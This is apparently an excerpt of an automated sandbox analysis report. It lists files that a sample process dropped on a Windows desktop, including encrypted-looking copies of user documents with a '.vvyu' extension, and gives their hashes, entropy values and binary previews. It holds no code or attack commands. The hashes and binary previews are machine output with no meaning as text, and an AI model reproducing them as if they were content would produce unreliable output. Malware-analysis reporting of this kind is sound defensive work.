Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834968114135507
Encrypted:	false
SSDEEP:	24:k3VyyQ5VTe1uWaIjvNcbnlASh9TF+Up604ZdmOqCVR8sbD:CyE1uWawNGnGSh+lZd3qZmD
MD5:	2C7AF5D22E9A327E3B94889BF50A785A
SHA1:	4E5F72739F6954B1E4D763DFBC99D688E0877784
SHA-256:	75F98059C06FE1DBFA142FCE7BD5C7B2EABD2EC6713BE3B287C7F5AA7C3FFDE5
SHA-512:	FFB83FD90F50C61DD5EC162DBDEDDE835456728E9984A1DFF6694C4322314BC0B42637679E3D1F3EC139B90035F92C0668F19C5737496E84055FB38010A327FA
Malicious:	false
Preview:	EOWRV/....k.oV3W.oS....8q.vM..\|.2dJ....&]5:.b..#.......xJ....(2...v..+`.HQ}..e.....{.S.K.....O9..=.z.0C..F+(.ax.n.KK....B..3.j.....-.X.k.Q...q(.h.z......3....^....S.G~Rg....V...([......b..\|.._u......3?.mk.Fu.}WX......o...TI...rok.yD.q.:..{./....+(.z...3U0.x.6U.Z.p(.....(.r.F(.Y...F.Y...'n..4.T...F.8...H.v...a\.d........nG#...y".G..I.`..~a..w2(..#u.L..-A.Q...ci..x..xA.WN.@..jB.......%B,......Gg..yHM..`..4.........<.\,......o.B80E#..]. )...c.^.9...@<9.n..AK..q.....P..z+...8U.Z.l..z.`B.D...*..#h+5i.].......n..Q..u!..C....#...z......x%\....U.]...]V..........2N.<.....33...S.'X.,.q...j3.Z.X.!..[.r.~F.....Rc>.W...t.r?...c.q......}v=TS..7....A.4"..X....!.]C...rV.C..E../.r..s..)8...u.?..z...h..d.D......q....;...'8.E.mE....].^@....~Z.0.@...I..wu....`F.n:+[........t.('.3bp..{.X..R.D...ot.`;........t.......]...L'k.2..-.B.&..Z.L.\.Dnw.....bjo6.Mg.#:..?....E..Hr'n.Z.A....w.b...?.z......0....`Px.b.rd..K.V.X...a....G1..3.+...U.........II...Dx..e.3;...x_.

C:\Users\user\Desktop\EWZCVGNOWT.jpg

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850315711043332
Encrypted:	false
SSDEEP:	24:OMvadqDVy1RGvG0sF3ispepd9Puh1gX7y77XEn+zB01vBC7yY5zp1sbD:raI4RGvnmisWWac7+EuvBwXZmD
MD5:	6D99DDA32391A367B0C92A6638D1B784
SHA1:	3D9CC9F153F719A0A78969EFF47C8C0CEB67C81C
SHA-256:	0F278CE9B3755C90E2444C6D8980FCA72FCB6D0290D2128C34550EC959190ACC
SHA-512:	B30EDE34CE750F49320F8ABB841AF69F73573066284F8CB5106F1C83CA005102475DC07AA67630F0D959E9DF77164833E7A26103DADC1DF65A4072ABE5024467
Malicious:	false
Preview:	EWZCV+d.....b...w!..d....y..l..0.3...../F.:^o.k..7....3}..k.......>.+A...'d..Q...8@..i.E...!.[.?...P...O.B.'C"^\|./b......O6.7]>q.,07..=.H...j..O0..K!...]$#dn.}P...w.2......Ur...qw..o......Gx..D4OL.O.'.M..%n.Hc..,....WD.}@..WR..._.Z....y.L..]!z.9...^.<.Zbc...dF ...h..!!T../.cI........A6tn..QJ"\..QD#.... .....l.I...w.......$..D:....Y.NS.......W...nRI..w..0@:uq..};..k.m.#...!...?>s.m..g..n/0.........A.._2d.%..9.b...o..H.U:1#.....t<.e.L9....].O%.&z.mO!$.8.....Cx.u=..x+...m.../8...I..[..Y.../..?6X..y'...Gclb.#/..w.b....n\|..~s.Y.....O.C.8Ns.M<w.......h.F....d...9.3o.9..Xs......a.C.....:..}ch....+....,x..3...\|h.......A.....V....!3Y79A..{(r./.c...X....O..t...%..X.gv{.4..l\7....aU.&....i6z.N....R......x.H.Y..e...K;.HKM..J..........;1.o...q...bY..\|.d.. ..DP..8.B`.^.....'.h-...3;..H.. .r...u....`U.$.r.K..R-...k.L..OM.........4.v.S..q.0......f.."l/......F.....d..X.%.'h.&9.1.......]..........w.}..([......S9.a%..n.V....>.t<...j.#.z..2.T......

C:\Users\user\Desktop\EWZCVGNOWT.jpg.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850315711043332
Encrypted:	false
SSDEEP:	24:OMvadqDVy1RGvG0sF3ispepd9Puh1gX7y77XEn+zB01vBC7yY5zp1sbD:raI4RGvnmisWWac7+EuvBwXZmD
MD5:	6D99DDA32391A367B0C92A6638D1B784
SHA1:	3D9CC9F153F719A0A78969EFF47C8C0CEB67C81C
SHA-256:	0F278CE9B3755C90E2444C6D8980FCA72FCB6D0290D2128C34550EC959190ACC
SHA-512:	B30EDE34CE750F49320F8ABB841AF69F73573066284F8CB5106F1C83CA005102475DC07AA67630F0D959E9DF77164833E7A26103DADC1DF65A4072ABE5024467
Malicious:	false
Preview:	EWZCV+d.....b...w!..d....y..l..0.3...../F.:^o.k..7....3}..k.......>.+A...'d..Q...8@..i.E...!.[.?...P...O.B.'C"^\|./b......O6.7]>q.,07..=.H...j..O0..K!...]$#dn.}P...w.2......Ur...qw..o......Gx..D4OL.O.'.M..%n.Hc..,....WD.}@..WR..._.Z....y.L..]!z.9...^.<.Zbc...dF ...h..!!T../.cI........A6tn..QJ"\..QD#.... .....l.I...w.......$..D:....Y.NS.......W...nRI..w..0@:uq..};..k.m.#...!...?>s.m..g..n/0.........A.._2d.%..9.b...o..H.U:1#.....t<.e.L9....].O%.&z.mO!$.8.....Cx.u=..x+...m.../8...I..[..Y.../..?6X..y'...Gclb.#/..w.b....n\|..~s.Y.....O.C.8Ns.M<w.......h.F....d...9.3o.9..Xs......a.C.....:..}ch....+....,x..3...\|h.......A.....V....!3Y79A..{(r./.c...X....O..t...%..X.gv{.4..l\7....aU.&....i6z.N....R......x.H.Y..e...K;.HKM..J..........;1.o...q...bY..\|.d.. ..DP..8.B`.^.....'.h-...3;..H.. .r...u....`U.$.r.K..R-...k.L..OM.........4.v.S..q.0......f.."l/......F.....d..X.%.'h.&9.1.......]..........w.}..([......S9.a%..n.V....>.t<...j.#.z..2.T......

C:\Users\user\Desktop\EWZCVGNOWT.mp3

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856340953598135
Encrypted:	false
SSDEEP:	24:spzrSBMHARrUPpDQNcsVW+389HqH+8Ga3ZbboPwbvA5DMj1iKnhAsbD:2rSBMgRrcpDmoWBWIDA5Yj13mmD
MD5:	6A8D98C05D88C379DBA5A0A4430F65EC
SHA1:	23151BB7C0C74E96E375F0D7268C951AD5730AC4
SHA-256:	41999ED618FDCE88F1542AAB3E607A1096162767DBB44903BCF973537F8E45E8
SHA-512:	233B05C1BC1DC5055099015AA9E80DEFA41684D87D04A6E8EF63665F83EB7AD26D5938539BB443FD81915261CFEB1B35DAB84AF86C999961FB9B82B544652DF3
Malicious:	true
Preview:	EWZCV.%...~....<...~.I.\|.3i]u.D...s..Uk.g/.yd\.$>.....]..m...xx...$....va.JaXL.G.;j.]na..=<.X..?....J./M>.$....U..u.$....W.......K...a#.E.5...i.Z..3 ./T.U....KC...8....!b.....!..q.8:.~.,".G."I./..........`....m..{K.SXb..M#..P......y.r.<.h`.}\.C..".....l.@)q....N.s`.6.....['.....k8...}zpsn.b:.&.2X...\..T@~......>{K<0..V...f..d.A{......i.F\.&.A.....-!.n6..i...a.gP...Q.....E.=q.....\|...R).t:..X7..K.g2.=..'.a.....q7..`.3..X...nA&R..h..o<.@.+....;..2..q......Op....._}......6.>Os........dK.oPf._..L.D.....q...!Y...T.jP..i..<.y....3....&"......p....T.Q..:.......5......i...).f...w.n...d...........d...n.2..{....X~].-...../....Dz.B..q......w........k.b.D.Mr.c8Z..B...57.G..1]j\|...yVxT..,`.0.Z P...V..C..~{<.-....V.r.E..E...}.d.<jp._n1..u.G.l..K..t{^.j.y...A+....7.V......;...',#A..cZ.A. ...7.i.S.X...m{9...H...#.z.O#..!.[..U....@..].Vy-.=Rq...m@.M.....3fy.?F...:S......\..[/..y...(....op3.Qu..>S.l. ....L.B8..>.G...K.s._D.&f.8{.X...1F..$..sl..........9;\.5

C:\Users\user\Desktop\EWZCVGNOWT.mp3.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856340953598135
Encrypted:	false
SSDEEP:	24:spzrSBMHARrUPpDQNcsVW+389HqH+8Ga3ZbboPwbvA5DMj1iKnhAsbD:2rSBMgRrcpDmoWBWIDA5Yj13mmD
MD5:	6A8D98C05D88C379DBA5A0A4430F65EC
SHA1:	23151BB7C0C74E96E375F0D7268C951AD5730AC4
SHA-256:	41999ED618FDCE88F1542AAB3E607A1096162767DBB44903BCF973537F8E45E8
SHA-512:	233B05C1BC1DC5055099015AA9E80DEFA41684D87D04A6E8EF63665F83EB7AD26D5938539BB443FD81915261CFEB1B35DAB84AF86C999961FB9B82B544652DF3
Malicious:	false
Preview:	EWZCV.%...~....<...~.I.\|.3i]u.D...s..Uk.g/.yd\.$>.....]..m...xx...$....va.JaXL.G.;j.]na..=<.X..?....J./M>.$....U..u.$....W.......K...a#.E.5...i.Z..3 ./T.U....KC...8....!b.....!..q.8:.~.,".G."I./..........`....m..{K.SXb..M#..P......y.r.<.h`.}\.C..".....l.@)q....N.s`.6.....['.....k8...}zpsn.b:.&.2X...\..T@~......>{K<0..V...f..d.A{......i.F\.&.A.....-!.n6..i...a.gP...Q.....E.=q.....\|...R).t:..X7..K.g2.=..'.a.....q7..`.3..X...nA&R..h..o<.@.+....;..2..q......Op....._}......6.>Os........dK.oPf._..L.D.....q...!Y...T.jP..i..<.y....3....&"......p....T.Q..:.......5......i...).f...w.n...d...........d...n.2..{....X~].-...../....Dz.B..q......w........k.b.D.Mr.c8Z..B...57.G..1]j\|...yVxT..,`.0.Z P...V..C..~{<.-....V.r.E..E...}.d.<jp._n1..u.G.l..K..t{^.j.y...A+....7.V......;...',#A..cZ.A. ...7.i.S.X...m{9...H...#.z.O#..!.[..U....@..].Vy-.=Rq...m@.M.....3fy.?F...:S......\..[/..y...(....op3.Qu..>S.l. ....L.B8..>.G...K.s._D.&f.8{.X...1F..$..sl..........9;\.5

C:\Users\user\Desktop\GRXZDKKVDB.mp3

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837554701611181
Encrypted:	false
SSDEEP:	24:MwtW23kZu9wIWIKDmowXFlekJRuQ62D4bPa5TbN+CVAGJlr8oMVHs2nHKlksbD:Ftn3kg6KKDpYle0cQ7g4nfXr2VrmD
MD5:	DFBEC218567B22D46CB3E7FBC8B7F795
SHA1:	F105FE2854106FD444A1020FD1DC91ADF85DAD31
SHA-256:	D98C12224F00E410A44BF3431A09C4E2BDC9F98F2664AD0C34CB532AA31C8579
SHA-512:	45332DE1421C7EC6AD562C105076689D394743526364EDAB9A98763F274767EBE71DE9B85D5B7512AF6434A09526E1173976CD564E996BE80F954B7FA3389F85
Malicious:	false
Preview:	GRXZD..0...((...~.5<..m<...P/q.]G).2..i..s6.uk.)..U@V..b.5.....c.........uy..z..."rc....o.&..q...\9.o..jU..{.&.i.......3.3b..y..2.X.....]z.7.D...;..z\.'BPX...p..,^...Q!....PM"Si.\|..$....K.y...N.N.+.^\|$.......,.....0.....lRGQz...U.L.........[Bxo..vSL.....<mB<.U..s.8..!....r.9\|a..M`...M..`.p..v.f..f. u....."!x.X.p;..Fz .....y...M^.a.......g2..V.......... 8....../...U...g.;...b....5...w,<7..OTA.Kwy+.....p......b..S-.wh="...j.......J'..[~..1..k...j..N..K.B....t.R.v\|.....F.....: %...9\|....i./...%.j.N..Q7a...s....1E........r..v.).m%:iv)n..D....g\..e.M.P.D-.......Q..o=.-..,.........i..u..y.X.-.{.?..im.:;.ZE...n...d...;#....(x....K.'.:.N....]%.&Pd..-E2CC.....}$........%.+........&E-}~....whf+...gM.C.I(.2........a.E3..&........+...<...F..65...VZK.J=.5...YG6Pl.Et....#.....i.yR.j.;..u.~h.8./..........D.CvMJ.ad.=..QS.%.o....9..x...1.oN..}......v........D. .G..(....s.@.ZJ.j.8.j*.!.....@.21..~..2<=.L8.MT.X....Sy....v.....u...y...\|.-x..g

C:\Users\user\Desktop\GRXZDKKVDB.mp3.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837554701611181
Encrypted:	false
SSDEEP:	24:MwtW23kZu9wIWIKDmowXFlekJRuQ62D4bPa5TbN+CVAGJlr8oMVHs2nHKlksbD:Ftn3kg6KKDpYle0cQ7g4nfXr2VrmD
MD5:	DFBEC218567B22D46CB3E7FBC8B7F795
SHA1:	F105FE2854106FD444A1020FD1DC91ADF85DAD31
SHA-256:	D98C12224F00E410A44BF3431A09C4E2BDC9F98F2664AD0C34CB532AA31C8579
SHA-512:	45332DE1421C7EC6AD562C105076689D394743526364EDAB9A98763F274767EBE71DE9B85D5B7512AF6434A09526E1173976CD564E996BE80F954B7FA3389F85
Malicious:	false
Preview:	GRXZD..0...((...~.5<..m<...P/q.]G).2..i..s6.uk.)..U@V..b.5.....c.........uy..z..."rc....o.&..q...\9.o..jU..{.&.i.......3.3b..y..2.X.....]z.7.D...;..z\.'BPX...p..,^...Q!....PM"Si.\|..$....K.y...N.N.+.^\|$.......,.....0.....lRGQz...U.L.........[Bxo..vSL.....<mB<.U..s.8..!....r.9\|a..M`...M..`.p..v.f..f. u....."!x.X.p;..Fz .....y...M^.a.......g2..V.......... 8....../...U...g.;...b....5...w,<7..OTA.Kwy+.....p......b..S-.wh="...j.......J'..[~..1..k...j..N..K.B....t.R.v\|.....F.....: %...9\|....i./...%.j.N..Q7a...s....1E........r..v.).m%:iv)n..D....g\..e.M.P.D-.......Q..o=.-..,.........i..u..y.X.-.{.?..im.:;.ZE...n...d...;#....(x....K.'.:.N....]%.&Pd..-E2CC.....}$........%.+........&E-}~....whf+...gM.C.I(.2........a.E3..&........+...<...F..65...VZK.J=.5...YG6Pl.Et....#.....i.yR.j.;..u.~h.8./..........D.CvMJ.ad.=..QS.%.o....9..x...1.oN..}......v........D. .G..(....s.@.ZJ.j.8.j*.!.....@.21..~..2<=.L8.MT.X....Sy....v.....u...y...\|.-x..g

C:\Users\user\Desktop\NVWZAPQSQL.docx

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860736649054753
Encrypted:	false
SSDEEP:	24:FH8Z4Z1RPbh7bcOuMg/BHnRzK1MtLNEBmJqLwOvTNXk3DA5oQcDq8CNnkAvVrUsX:FHHZ1RPbdcOvEH4adqXvJk3DAiQcJAvp
MD5:	35FEB330754754EC57F09D3EB7E32E2B
SHA1:	22740C8C4F2B3F9AF5199207DA11EC375C7A83D1
SHA-256:	CFEB22454524B88B2ED446E7C336E2D7DDEC5D83EDF8533050FF2483E283EC01
SHA-512:	DA0AA06E77674F95195024352B0E583E1B098FA39D4A74F4FED76FD418D874A876CDFC0F325993A07218474024C4898BE4DC9347A2F31605E7BDB0712E1F1138
Malicious:	false
Preview:	NVWZAid...m.'....(.....o]..o..5..i....T..kim....%......5.DA..W1...d.P..R8f8.;S?......G.,..I....q..)^....,........."..u..r....c.\..~.x.xcQ.).y......gb.YP..1_}.K.......9...K.0...{._r. q...HP.`.......S..<t...!.X..u......^-..f........mS..........Q..........kK.....q"u...e.@'........n....I.$......%X$..`.......W.DU..L.............e.<.N.&..{........h......<=s.DwX..f..V.2...d(....w..9p+d..K.."..Z.f....C..kj.!BS....8P.b=..d... .....A/_@.(.sD.GX.U..y........V..Td..^........G.~..{z.RpFAs.F.MG`.T{...._.s...A.Z..Z...7....p...#.VT.....I.....\|Nv.A.y#-.._...~...'>.l.,.V+=I.....<j.y)g.B...a...n..?^..h...8...6.,..`d...?Fa'B.z.\7$.$.+..zP.K....J..p\|P..Q.7nq.H&...M...$.&4.8.....(0w.$... K._6..u.?1.m....u}H.........3.\|(;YvO...U..M.....G.RE4..M#...E.g......+.@..O,G....f.9.b!N........1+}..6.&F?.$7.C7..j....\|..&..H<'.J.H+ .T.....M.!.!.m.R6C->[l...2...J).o.)...*....ZJ.r...m.#.u.....0_A...eQP...P...i1^a...\|.d..G..>sZe.#.CD7F6...VX.x..M=..._....=.:.8u........

C:\Users\user\Desktop\NVWZAPQSQL.docx.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860736649054753
Encrypted:	false
SSDEEP:	24:FH8Z4Z1RPbh7bcOuMg/BHnRzK1MtLNEBmJqLwOvTNXk3DA5oQcDq8CNnkAvVrUsX:FHHZ1RPbdcOvEH4adqXvJk3DAiQcJAvp
MD5:	35FEB330754754EC57F09D3EB7E32E2B
SHA1:	22740C8C4F2B3F9AF5199207DA11EC375C7A83D1
SHA-256:	CFEB22454524B88B2ED446E7C336E2D7DDEC5D83EDF8533050FF2483E283EC01
SHA-512:	DA0AA06E77674F95195024352B0E583E1B098FA39D4A74F4FED76FD418D874A876CDFC0F325993A07218474024C4898BE4DC9347A2F31605E7BDB0712E1F1138
Malicious:	false
Preview:	NVWZAid...m.'....(.....o]..o..5..i....T..kim....%......5.DA..W1...d.P..R8f8.;S?......G.,..I....q..)^....,........."..u..r....c.\..~.x.xcQ.).y......gb.YP..1_}.K.......9...K.0...{._r. q...HP.`.......S..<t...!.X..u......^-..f........mS..........Q..........kK.....q"u...e.@'........n....I.$......%X$..`.......W.DU..L.............e.<.N.&..{........h......<=s.DwX..f..V.2...d(....w..9p+d..K.."..Z.f....C..kj.!BS....8P.b=..d... .....A/_@.(.sD.GX.U..y........V..Td..^........G.~..{z.RpFAs.F.MG`.T{...._.s...A.Z..Z...7....p...#.VT.....I.....\|Nv.A.y#-.._...~...'>.l.,.V+=I.....<j.y)g.B...a...n..?^..h...8...6.,..`d...?Fa'B.z.\7$.$.+..zP.K....J..p\|P..Q.7nq.H&...M...$.&4.8.....(0w.$... K._6..u.?1.m....u}H.........3.\|(;YvO...U..M.....G.RE4..M#...E.g......+.@..O,G....f.9.b!N........1+}..6.&F?.$7.C7..j....\|..&..H<'.J.H+ .T.....M.!.!.m.R6C->[l...2...J).o.)...*....ZJ.r...m.#.u.....0_A...eQP...P...i1^a...\|.d..G..>sZe.#.CD7F6...VX.x..M=..._....=.:.8u........

C:\Users\user\Desktop\NVWZAPQSQL.jpg

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8320368011799175
Encrypted:	false
SSDEEP:	24:FxpNaiRfJVp7raugT2O+MQpI070kcwfzU9pQRt46ti6srndD71PmhmcfLeuTdYX4:FPNaCx/7OnHHHS0kvQ9pEtBFsrd/1PeR
MD5:	8817F49667E8A89EE064CE48F8A5E2B1
SHA1:	C1C47681282926A7FCC05F27B60C456FAC6759E2
SHA-256:	B360C9F37D9BFC0E3770FE26CA965A38AEC226ED82207B68A6CD7C205A0119A3
SHA-512:	0DD35AC49DE004A9B0DC7F036E3CEA97DFC3690319B4E93A15BA4C42285C1F02CE5BB8951911F0EF55BC8E26270C22E6649A7D821F333FC7B26CA44A65365D59
Malicious:	false
Preview:	NVWZA...Q. ..0j.h.r....p.....Q..'...3(Z.y7.8.pq..b....".......\|..44....'$..DwsCO.....IP.A.o\.2;.G},..k.C....W....q=m......^y.tr^.j...=.y.Aid\W.....{i.06......2..&....\.V.JZ.n...mO.cM..?......,.....Vl..F.EM..x\|.k.>\|_...,I..+.....X.t.n...#(..f.Y..2SY$..@.....MTS.%WA........". .0o....Lz.H..!...%..,A.O..0'.tG.+..Z...<R...\t...#.9.N6..9........._.\....rS..G.ps...Hc\|J.....['5..G..sv.....b..v:.v=..=.1..x2U....\Ty[o...P.?...Z.%N ..#.W.5.>..3..P...R...1.s...~....I/.o.#Q2......b.i..:.7J.\....r..y...e..w.<.[~7.g\|...[.........b..w.E...W.......;.W1.r._;....=<j9.....n./.;W.I.a.G....Y............k.+r..([mC...].4..w.I...?..~n...HMi2..M2..[...sS.{pj......(.`..l.^..$.<...8./....~..9..+.YS......7_..~..C'x..B;nX].i............E.xl.D~+.f".p......_.-..`...3.z..1.9...R..1.....j.$.J..N~E.X.h:...?0......\|..6.0'......["D.r.X......I..=s..2.p.......aB...)...^..-.....LE.E0....~3.V..0J..A.8v...~...9..>H..A.C......#.3t+~S;dEy....R.+..H....]..v.;.W.e...##....(..j..E.r

C:\Users\user\Desktop\NVWZAPQSQL.jpg.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8320368011799175
Encrypted:	false
SSDEEP:	24:FxpNaiRfJVp7raugT2O+MQpI070kcwfzU9pQRt46ti6srndD71PmhmcfLeuTdYX4:FPNaCx/7OnHHHS0kvQ9pEtBFsrd/1PeR
MD5:	8817F49667E8A89EE064CE48F8A5E2B1
SHA1:	C1C47681282926A7FCC05F27B60C456FAC6759E2
SHA-256:	B360C9F37D9BFC0E3770FE26CA965A38AEC226ED82207B68A6CD7C205A0119A3
SHA-512:	0DD35AC49DE004A9B0DC7F036E3CEA97DFC3690319B4E93A15BA4C42285C1F02CE5BB8951911F0EF55BC8E26270C22E6649A7D821F333FC7B26CA44A65365D59
Malicious:	false
Preview:	NVWZA...Q. ..0j.h.r....p.....Q..'...3(Z.y7.8.pq..b....".......\|..44....'$..DwsCO.....IP.A.o\.2;.G},..k.C....W....q=m......^y.tr^.j...=.y.Aid\W.....{i.06......2..&....\.V.JZ.n...mO.cM..?......,.....Vl..F.EM..x\|.k.>\|_...,I..+.....X.t.n...#(..f.Y..2SY$..@.....MTS.%WA........". .0o....Lz.H..!...%..,A.O..0'.tG.+..Z...<R...\t...#.9.N6..9........._.\....rS..G.ps...Hc\|J.....['5..G..sv.....b..v:.v=..=.1..x2U....\Ty[o...P.?...Z.%N ..#.W.5.>..3..P...R...1.s...~....I/.o.#Q2......b.i..:.7J.\....r..y...e..w.<.[~7.g\|...[.........b..w.E...W.......;.W1.r._;....=<j9.....n./.;W.I.a.G....Y............k.+r..([mC...].4..w.I...?..~n...HMi2..M2..[...sS.{pj......(.`..l.^..$.<...8./....~..9..+.YS......7_..~..C'x..B;nX].i............E.xl.D~+.f".p......_.-..`...3.z..1.9...R..1.....j.$.J..N~E.X.h:...?0......\|..6.0'......["D.r.X......I..=s..2.p.......aB...)...^..-.....LE.E0....~3.V..0J..A.8v...~...9..>H..A.C......#.3t+~S;dEy....R.+..H....]..v.;.W.e...##....(..j..E.r

C:\Users\user\Desktop\NVWZAPQSQL\BJZFPPWAPT.xlsx

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837089500473537
Encrypted:	false
SSDEEP:	24:jvqC7b5bOkLiQ+8YatvReELsZhkNwyp6JmfmSK5Wgilvj+oMX4ajkKUsbD:jvqCv5ykB+KHpKmO55sLEILmD
MD5:	829E11D51219DE72426D9C9EB825EA96
SHA1:	545C7003AEBCD9041A582DFB42994F68F84D736C
SHA-256:	AE55A3CA0F01679C42FC84066ABACD229A4F88D223B77DDB241222902FB14E7C
SHA-512:	21C0921D52FAD3B642CFB42EE9A4493181C8702B4C7187689A95DB5A50442935EA42D7F82530DC77DC8F6E842E72817185AB0669D40508BA3633D72E02D5C2EB
Malicious:	false
Preview:	BJZFP%~X....$....?M..\..G.Z..,.Jx.z/8....._.,.fl.R..b.Jm......$P.......Sc..@.a_...(.JB..z.X.y...N.p.I..Z..Q..../.^}n..4.9.V..\&1..2Y.c2=.W.G.!..:..Q.}._j....iB...."Z...~..........G....#..B...T..:.%o....6....i3yMa.v......A.0....I.wzU.xfu[..7...!...-H..B.......E.N.`F.......J..+vk.{b8.S..(E.......h>KJ..D..Z2.!.J..........l.80.1...<.pG...._..H).."...T..S.!...q...<.....{l..\|BPL..Y..%..d......u,.w.^..........$#..u.m.g/.W...a...}.=....S.s..$k.a..f .....C?..........#.....+.^.(>..W.....'{.....\u.C&...A......N.......Q..5.=.K.J4>7..L.....~..Hr.].i...m.>.J..&."..^=po...._......$....&.d.gn..z..X.......h....BX..Uk...b..D..:P.........-..4...c._.. .j...1a..@.T...mQ.2.#.nd.+La.".-.8.....#.......5r.&.aK..3....\|........+..N..RbI..........F..F...H..}..m{.%sj....d.b..S.....$.....I.....>c.x..]3.ni....`GU.Z.-.....z....jR>..../.... ...h...L......(.]..~a..`....K..I@!..........T..s..m......}..G....`.....T.&.J\|T.... ..7d..P.D...9y.c..4icc_.h#.....:

C:\Users\user\Desktop\NVWZAPQSQL\BJZFPPWAPT.xlsx.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837089500473537
Encrypted:	false
SSDEEP:	24:jvqC7b5bOkLiQ+8YatvReELsZhkNwyp6JmfmSK5Wgilvj+oMX4ajkKUsbD:jvqCv5ykB+KHpKmO55sLEILmD
MD5:	829E11D51219DE72426D9C9EB825EA96
SHA1:	545C7003AEBCD9041A582DFB42994F68F84D736C
SHA-256:	AE55A3CA0F01679C42FC84066ABACD229A4F88D223B77DDB241222902FB14E7C
SHA-512:	21C0921D52FAD3B642CFB42EE9A4493181C8702B4C7187689A95DB5A50442935EA42D7F82530DC77DC8F6E842E72817185AB0669D40508BA3633D72E02D5C2EB
Malicious:	false
Preview:	BJZFP%~X....$....?M..\..G.Z..,.Jx.z/8....._.,.fl.R..b.Jm......$P.......Sc..@.a_...(.JB..z.X.y...N.p.I..Z..Q..../.^}n..4.9.V..\&1..2Y.c2=.W.G.!..:..Q.}._j....iB...."Z...~..........G....#..B...T..:.%o....6....i3yMa.v......A.0....I.wzU.xfu[..7...!...-H..B.......E.N.`F.......J..+vk.{b8.S..(E.......h>KJ..D..Z2.!.J..........l.80.1...<.pG...._..H).."...T..S.!...q...<.....{l..\|BPL..Y..%..d......u,.w.^..........$#..u.m.g/.W...a...}.=....S.s..$k.a..f .....C?..........#.....+.^.(>..W.....'{.....\u.C&...A......N.......Q..5.=.K.J4>7..L.....~..Hr.].i...m.>.J..&."..^=po...._......$....&.d.gn..z..X.......h....BX..Uk...b..D..:P.........-..4...c._.. .j...1a..@.T...mQ.2.#.nd.+La.".-.8.....#.......5r.&.aK..3....\|........+..N..RbI..........F..F...H..}..m{.%sj....d.b..S.....$.....I.....>c.x..]3.ni....`GU.Z.-.....z....jR>..../.... ...h...L......(.]..~a..`....K..I@!..........T..s..m......}..G....`.....T.&.J\|T.... ..7d..P.D...9y.c..4icc_.h#.....:

C:\Users\user\Desktop\NVWZAPQSQL\EOWRVPQCCS.pdf

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843141732634156
Encrypted:	false
SSDEEP:	24:bgAZgbWuujxTT98VhEXZ/krAxbBKNWH8A/tHm+CajmDggvP4oyCSazwKeF4BUtwh:lgqZTZsEp/31/H8A/WakgRuzwKowbSmD
MD5:	036B9EA7C4CA7B0B13383D5CD862ABF5
SHA1:	3A70520161C86CB2643A471D65F3AE46915978AA
SHA-256:	0AF107B45ED4B0DBE6FD9014FFDC82673E06A95092828C48E175C8F40DE153C6
SHA-512:	1860E25476CCC5DF1A7DD0ED5080A204CDFBDD2330EF365108B8EC6E1AE00FE8E9158F1CDCB8DB4C48B9800ABB769D2589464E5016E38A97CBAC11EA1A4DBB8C
Malicious:	false
